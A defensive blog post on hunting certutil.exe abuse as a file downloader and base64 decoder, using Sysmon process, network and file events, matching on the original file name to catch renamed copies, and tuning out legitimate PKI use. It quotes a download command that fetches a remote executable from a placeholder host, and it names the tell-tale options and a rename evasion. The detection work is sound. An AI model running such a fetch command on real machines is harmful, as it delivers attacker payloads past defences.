Certutil as a downloader: catching the classic LOLBIN fetch

The first time certutil.exe pulled a payload onto a box I was watching, the download itself was invisible to me and the command line was a billboard. No web proxy alert, no download prompt, no new-binary reputation hit that fired in time. Just a signed Microsoft utility reaching out to a random host and writing a file, and a process-creation event with -urlcache -split -f sitting right there in plain text. That is the whole story of certutil abuse: the network side is easy to miss and the command line is almost impossible to hide.

Why a certificate tool downloads files at all

Certutil is a legitimate certificate-management utility. It manages certificate stores, verifies chains, and, as part of that job, it knows how to retrieve certificate revocation lists over HTTP. That retrieval capability is exactly what gets repurposed. Point it at any URL with the URL cache options and it will fetch the content and drop it to disk, no certificate required. It is one of the best-documented entries on LOLBAS, and in ATT&CK terms it is a stock T1105 Ingress Tool Transfer implementation using a binary that is already present and already signed on every Windows install. That is the appeal for the attacker. No dropper to flag, no unsigned tool to detonate on.

The command line is the tell

The download form looks like certutil -urlcache -split -f http://host/payload.exe payload.exe, and older writeups will also show -verifyctl doing the same job. The tokens that matter for detection are urlcache, split, verifyctl, and any URL. I hunt Sysmon Event ID 1, process create, where the image is certutil.exe and the command line contains those options or a bare http. On the endpoint I run Windows 10 22H2 and Windows 11 with Sysmon feeding Microsoft Sentinel through the Azure Monitor agent, and Defender for Endpoint carries its own built-in detection for this that I keep as a second opinion. The command-line match is high fidelity because the legitimate reasons to invoke certutil against an arbitrary HTTP URL are few and mostly live inside PKI administration, which comes from a small set of accounts and hosts you can name.

There is one evasion you have to plan for. Attackers rename certutil.exe to something innocuous to defeat a rule that keys on the image name. That is why I match on the OriginalFileName field that Sysmon carries in Event ID 1 rather than the on-disk name. A binary renamed to svc.exe still reports an original name of CertUtil.exe, and the rename attempt is itself a decent signal, because nobody legitimately renames this tool.

Watch the network and the file, not just the process

The command line is the primary catch, but two supporting events make the case airtight. Sysmon Event ID 3, network connection, from a certutil.exe process is unusual on a workstation, and pairing it with the process-creation match confirms an actual fetch happened rather than a dry run. Sysmon Event ID 11, file create, shows you the payload landing and its path, which is usually a user temp directory or a download folder. When I write this up for an analyst I want all three in the timeline: the process with the giveaway command line, the outbound connection, and the file that appeared. Look, any one of them alone invites an argument about intent. Together they close it.

The decode cousin

While you are building the certutil rule, cover the sibling behavior in the same pass. Certutil also encodes and decodes base64 with -encode and -decode, which is how a payload staged as a text blob or hidden inside a certificate file gets turned back into an executable on the host. That maps to T1140 Deobfuscate/Decode Files or Information, and it shows up as the same Event ID 1 with -decode in the arguments and an output path you can pivot on. It frequently follows the download in the same intrusion: fetch an encoded blob past a content filter, then decode it locally. Detecting one and not the other leaves half the technique uncovered.

The false positives are real but bounded

Enterprises with an internal PKI use certutil legitimately, and you will see it. Administrators verify certificates with it, deployment scripts call it to add trusted roots, and some installers lean on it. The saving grace is that legitimate use clusters: it comes from admin accounts, from management servers, from software-deployment contexts, and it rarely combines certificate operations with an arbitrary external HTTP URL and a fresh executable write. So I tune out the known administrative callers and the known scripts by account and host, and I keep the URL-fetch and decode forms loud. The residual false positives after that are few, and they are the price of a detection that catches a technique attackers keep reaching for because it is quick and it lives off the land. The Microsoft certutil command reference lists the full option set if you want to widen the rule to the encode side or the CRL-verify forms.

Certutil rarely arrives alone. It tends to be the second act after a delivery step, so the parent process is where the story usually starts. When a macro-laden document or a script host is the thing that spawned certutil, you have both the entry and the fetch in one chain, and that pairing is exactly what the malicious macro document hunt is built to catch. The broader parent-chain reasoning, why a signed Microsoft binary spawned by the wrong parent is the real signal, is the same logic in the abnormal child process writeup.